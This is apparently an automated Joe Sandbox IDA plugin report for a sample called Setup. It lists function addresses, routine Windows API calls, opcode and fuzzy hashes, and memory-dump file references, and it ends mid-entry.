Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: FreeString$H_prolog3$__recalloc_free
String ID:
API String ID: 2446356840-0
Opcode ID: 81dc078742b44b860cbb99ac1aef243bad407f41d66ec717e600415fa79926fa
Instruction ID: ec11db43b7fceaf6423cc871629b70b1d9866b63d8390d84ec42ed6bd5b3d540
Opcode Fuzzy Hash: 81dc078742b44b860cbb99ac1aef243bad407f41d66ec717e600415fa79926fa
Instruction Fuzzy Hash: 385128B190131A9FCB50CFA8C68169EBBF0FF18304F55896ED459ABB00D730AA49CF91

Function 63965DEE Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,00000000,00000000), ref: 63965E81

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 768dd9c18f098967cd32ae7b50fa61dbe693b9b78e99788e7a0b22cf571e5b1a
Instruction ID: 58b4b7a61d7df3a96e4f80091475ef8aab54548668322f23a67f5f92475cc376
Opcode Fuzzy Hash: 768dd9c18f098967cd32ae7b50fa61dbe693b9b78e99788e7a0b22cf571e5b1a
Instruction Fuzzy Hash: 2421A031501704AFDF22CF14C584A8EBBF9EF4AB90F18451AF89697262D331E990CF95

Function 63963EF9 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 63963F0C

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Parent
String ID:
API String ID: 975332729-0
Opcode ID: 5d59158ae0a9fe8097e63ecf1a13a16277e82b3a1afb3068eee088f1bc2faa79
Instruction ID: 52539763d443ab84f74eb5e106c3e3dc09d6f20bac534f21d15184237edc5422
Opcode Fuzzy Hash: 5d59158ae0a9fe8097e63ecf1a13a16277e82b3a1afb3068eee088f1bc2faa79
Instruction Fuzzy Hash: ED118B312556129FFB049B78C988A2973FDEB9BB66F140939E056C72A1DB30E841CF61

Function 6C8E2081 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E2088

Part of subcall function 6C9178C8: RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,6C90139B,?,00000010,6C8D5A14,?,?,?,0000004C,6C90B498,?,?,?), ref: 6C9178D3

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ExceptionH_prolog3Raise
String ID:
API String ID: 741760457-0
Opcode ID: 898f6d4579c431034ab12709ee1b75226a8e6eb10c5d16646b221351c3e92736
Instruction ID: 3944dcfd171d814ecba4c451095ec793c439115b28c4d74fe357c3167a87e877
Opcode Fuzzy Hash: 898f6d4579c431034ab12709ee1b75226a8e6eb10c5d16646b221351c3e92736
Instruction Fuzzy Hash: 132158B0A0060ACFCB08CF18C6948A9FBF1FF59300725C8ADD4599BB61D730E954CB90

Function 6C9036BA Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 6C9066E5: __EH_prolog3.LIBCMT ref: 6C9066EC
Part of subcall function 6C9066E5: GetCommandLineW.KERNEL32(00000024,6C9036CF,00000000,?,?,?,?,6C901338,?,00000010,6C8D5A14,?,?,?,0000004C,6C90B498), ref: 6C9066F3
Part of subcall function 6C9066E5: GetUserDefaultUILanguage.KERNEL32(00000738,00000000,00000000,?,?,?,6C901338,?,00000010,6C8D5A14,?,?,?,0000004C,6C90B498,?), ref: 6C90672F

Part of subcall function 6C906782: __EH_prolog3.LIBCMT ref: 6C906789
Part of subcall function 6C906782: CoInitialize.OLE32(00000000), ref: 6C9067DD
Part of subcall function 6C906782: CoCreateInstance.OLE32(6C8BA974,00000000,00000017,6C8BA9A4,6C8FFA6E,?,?,?,UiInfo.xml,?,00000000,00000044,6C9036D8,02F92298,?,00000000), ref: 6C9067FB

GetUserDefaultUILanguage.KERNEL32(02F92298,?,00000000,?,?,?,?,6C901338,?,00000010,6C8D5A14,?,?,?,0000004C,6C90B498), ref: 6C9036D8

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: DefaultH_prolog3LanguageUser$CommandCreateInitializeInstanceLine
String ID:
API String ID: 4049621043-0
Opcode ID: 0b5211aac069e9f210dd7c039539ec80c7aa87e37ca659f123965cfeb57c1f00
Instruction ID: f874de9a65ced639959aec223f269cc4d0e1d51c03fb2e04dc473309e721eb20
Opcode Fuzzy Hash: 0b5211aac069e9f210dd7c039539ec80c7aa87e37ca659f123965cfeb57c1f00
Instruction Fuzzy Hash: F101C8713016419FE7208A7AC8C0C5A7799EF55679B20833DE5B587BD0E730D8058B51

Function 6395BC2B Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000FC,?), ref: 6395BC91

Part of subcall function 6394E7D4: GetThreadLocale.KERNEL32(?,?,6394EB27), ref: 6394E7DE
Part of subcall function 6394E7D4: GetThreadLocale.KERNEL32(?,?,6394EB27), ref: 6394E7ED

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: LocaleThread$LongWindow
String ID:
API String ID: 2581572359-0
Opcode ID: b40ed748ecf6813deb73cef3207f75947531f8993c4a4f9be1094c16e4d5680c
Instruction ID: f8d611e3a2c54e1892f963b2f50246f9da11514a423d5dcc78140296ed60b66e
Opcode Fuzzy Hash: b40ed748ecf6813deb73cef3207f75947531f8993c4a4f9be1094c16e4d5680c
Instruction Fuzzy Hash: 7B01C0316042049BCB20DF29C944A6A77FCFF42B78B55C029F8199B261DF30E891CF99

Function 6C8D6083 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C8D608A

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 03901dcb28a4ca2e0719defebea893da677f2b33a13274f9e52390936dd5a80b
Instruction ID: 4daa097063a6a8fd08a9be39887ee3358fcfe91739d04f9bcf784fa428e163d2
Opcode Fuzzy Hash: 03901dcb28a4ca2e0719defebea893da677f2b33a13274f9e52390936dd5a80b
Instruction Fuzzy Hash: 2511707610490A8FCB31DF68C58198EB3B5BF94318B164E55D065E7A54CB30F9498B91

Function 6C8CBE52 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8CBE59

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: d6656485900681210f91dcc19c9882b078d83554b2e973dad03aa76965f7fe19
Instruction ID: 7129e22bf48f11a42801a1b3f2fa07099b75f6de691c3b90c3ecfd776c2d5d91
Opcode Fuzzy Hash: d6656485900681210f91dcc19c9882b078d83554b2e973dad03aa76965f7fe19
Instruction Fuzzy Hash: 80116170A01628EFCF10DFACC98499DBBB9AF08B14B20C959F519DBB54C734DA45CBA1

Function 6C918C9E Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 6C918CE4

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: 418c8faa8bb17f4116f65aeaec1898627a1780b09b30d3fe84bd4296820e32b2
Instruction ID: 60535b2e015cfd99a6f1f787c2f3c569c6a68cf390f0c9ca30af86a719efc5ab
Opcode Fuzzy Hash: 418c8faa8bb17f4116f65aeaec1898627a1780b09b30d3fe84bd4296820e32b2
Instruction Fuzzy Hash: 6E017C76204208AFC710DF98C885C9AB7F9FF99354711456AF915CB710D770ED04CBA0

Function 6395698A Relevance: 1.5, APIs: 1, Instructions: 34fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000000,?,00000000,00000000), ref: 639569B3

Part of subcall function 63967F08: GetLastError.KERNEL32(63967B0B,?,?,?,00000000), ref: 63967F08

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 9f14ac37f1b26b4f11dd408d5429dc8654e03434272dfe2c1e699d2ad78a24d7
Instruction ID: c7abdf19444caa1335b4a4853358d5c10263ab51fa1d169fd9f1e418a538f196
Opcode Fuzzy Hash: 9f14ac37f1b26b4f11dd408d5429dc8654e03434272dfe2c1e699d2ad78a24d7
Instruction Fuzzy Hash: 62F09075210209EFDB08CF55C914B9E77B8EB05B24F005128B8119B290D774EEA4DF11

Function 6C8CA1FF Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C8CA206

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 27b67b49406153aab7489690cc46f02ce8bcd7e5b4f868ecb35918c617a0ba08
Instruction ID: 4eecdf41361743fde0d335dfaa25ea471bce476a6cc7e32e1943c3add897c837
Opcode Fuzzy Hash: 27b67b49406153aab7489690cc46f02ce8bcd7e5b4f868ecb35918c617a0ba08
Instruction Fuzzy Hash: D3F04F74B11305EBDB108F68C904B8D3B65BF59354F208558B858DB790CB75DA11CB51

Function 63967F22 Relevance: 1.5, APIs: 1, Instructions: 32fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00002100,00000002,00000000,63967BC3,C0000000,?,00000000,?,?,63967BC3,?,C0000000,00000000,00000002,00002100,?), ref: 63967F5C

Part of subcall function 63967E95: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,63967F46,00002100,00000002,00000000,63967BC3,C0000000,?,?,?,63967BC3,?,C0000000,00000000), ref: 63967EA6
Part of subcall function 63967E95: GetProcAddress.KERNEL32(00000000,CreateFileTransactedW), ref: 63967EB6

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: AddressCreateFileHandleModuleProc
String ID:
API String ID: 2580138172-0
Opcode ID: e1e8ebde107738ef023d6b4c81bcafd3e7ea4cb22b25c56d3a931ac620d3ba1e
Instruction ID: 174fa6cb336c17b3fa39ea5fdb2026373e7c7f9ec83b98acf3a8577cfe91a6c5
Opcode Fuzzy Hash: e1e8ebde107738ef023d6b4c81bcafd3e7ea4cb22b25c56d3a931ac620d3ba1e
Instruction Fuzzy Hash: C7F0AF3240525ABBDF029EA4DD00DDA7F6AEF1AB60F048111FA24551A0C332D871AF91

Function 6C8C809D Relevance: 1.5, APIs: 1, Instructions: 32fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,00000000,?,00000000,00000001,?,6C8CA9FA,?,80000000,00000001,00000003,00000080,00000000), ref: 6C8C80D7

Part of subcall function 6C9189E2: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,6C8C80C1,?,?,?,?,00000000,?,00000001,?,6C8CA9FA,?,80000000,00000001), ref: 6C9189F3
Part of subcall function 6C9189E2: GetProcAddress.KERNEL32(00000000,CreateFileTransactedW), ref: 6C918A03

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: AddressCreateFileHandleModuleProc
String ID:
API String ID: 2580138172-0
Opcode ID: 96c37cca06f34cd07e0deda01056a5256ff3a89cc9aee3ddd4309e02e8d4aec9
Instruction ID: 62257599bb2215fc86b600021e7bab156925659a7269782603d0ab4127ada705
Opcode Fuzzy Hash: 96c37cca06f34cd07e0deda01056a5256ff3a89cc9aee3ddd4309e02e8d4aec9
Instruction Fuzzy Hash: ECF09D3214411EBBCF225F95DD019CA3F26AB29324F118512FA2456960C332D571EB92

Function 6C914C0C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C914C13

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: ab2535b4e7fb5c5bf3466f84eca74b6f6d610f4f06452c3544a39e6f7b5e8748
Instruction ID: 60adb78ede3c37fb34a61ef86a1127dc70249788a10978bbd58d60a1d074df38
Opcode Fuzzy Hash: ab2535b4e7fb5c5bf3466f84eca74b6f6d610f4f06452c3544a39e6f7b5e8748
Instruction Fuzzy Hash: A701DDB5600B01AFDB21CF15C581BAABBF1FB58704F108A1DE89A8BB50C334E964DB90

Function 6C8C9E49 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C8C9E50

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: ee4ece6b76f004ac7c98d6b07f48a161d1dfc66a74142a090d970bbcf18908f4
Instruction ID: 3c3225145f87abaa51621d60ad95916af29c8e1a7a0a8b6bc2b74e798336264f
Opcode Fuzzy Hash: ee4ece6b76f004ac7c98d6b07f48a161d1dfc66a74142a090d970bbcf18908f4
Instruction Fuzzy Hash: 48F06230701209DFDB20CF68CA04B9D3BA1AF15758F248198B849EF780CB75EE00CB91

Function 6C912306 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C91230D

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: bbdd5373e07cac0dd623098c64aa934f94d6dd81d65bb9374e08578c69162239
Instruction ID: 71f2ffc06db7e2561ba9214ba3c00486abe0e84e512dfd710c89399b07090aea
Opcode Fuzzy Hash: bbdd5373e07cac0dd623098c64aa934f94d6dd81d65bb9374e08578c69162239
Instruction Fuzzy Hash: 8A01DDB5600B01AFD721CF15C941BAABBF1FB58704F108A1DE89A8BB50C334E924DB94

Function 6395507E Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63955085

Part of subcall function 63952661: __EH_prolog3.LIBCMT ref: 63952668

Part of subcall function 63952996: __EH_prolog3.LIBCMT ref: 6395299D

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: dc5f9c20a2e3d8cf83ae3a01fad1d08048742d5575b303fa20787d4a2cb0f74d
Instruction ID: 899be376134b6c337cb0b72c94038bad364d65ff3bcc60d2f9c82bdf04205129
Opcode Fuzzy Hash: dc5f9c20a2e3d8cf83ae3a01fad1d08048742d5575b303fa20787d4a2cb0f74d
Instruction Fuzzy Hash: 4AF03076000709DFCB21CF58C980ACBB7F4BF14B14F00895AE49A9B241D730EA65CFA4

Function 6C8F53E5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F53EC

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: f1334064be3cf5c8d75d4c7a9babe441d146d5d3ec71811a12feab8e556a9f17
Instruction ID: a8325abbfba4eb6b330bdc97447adb195c73cf6d3bfe77f3bfaf326e12bce550
Opcode Fuzzy Hash: f1334064be3cf5c8d75d4c7a9babe441d146d5d3ec71811a12feab8e556a9f17
Instruction Fuzzy Hash: D3F0B4319452499ACF218BB8C6003DD77216F2134DF10805484A43BB95C735D61EE7A0

Function 6C8C7C6E Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C7C75

Part of subcall function 6C8C7CE8: __EH_prolog3.LIBCMT ref: 6C8C7CEF

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 79015ae607570ada4ef89b89d6975551c8bffcd91b548846ac0f92f8469d9c79
Instruction ID: ac14ac90644abe4ba610951a932c4dd4918cd7ddcaf6c38a31b8bddeacb82e64
Opcode Fuzzy Hash: 79015ae607570ada4ef89b89d6975551c8bffcd91b548846ac0f92f8469d9c79
Instruction Fuzzy Hash: 5AF03674705A079BD74CDF3885513E9F6A1BF58308F41453E901DE7741C731A828CB84

Function 6394B93E Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394B945

Part of subcall function 6396830D: _vwprintf.LIBCMT ref: 63968353
Part of subcall function 6396830D: _vswprintf_s.LIBCMT ref: 63968378

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

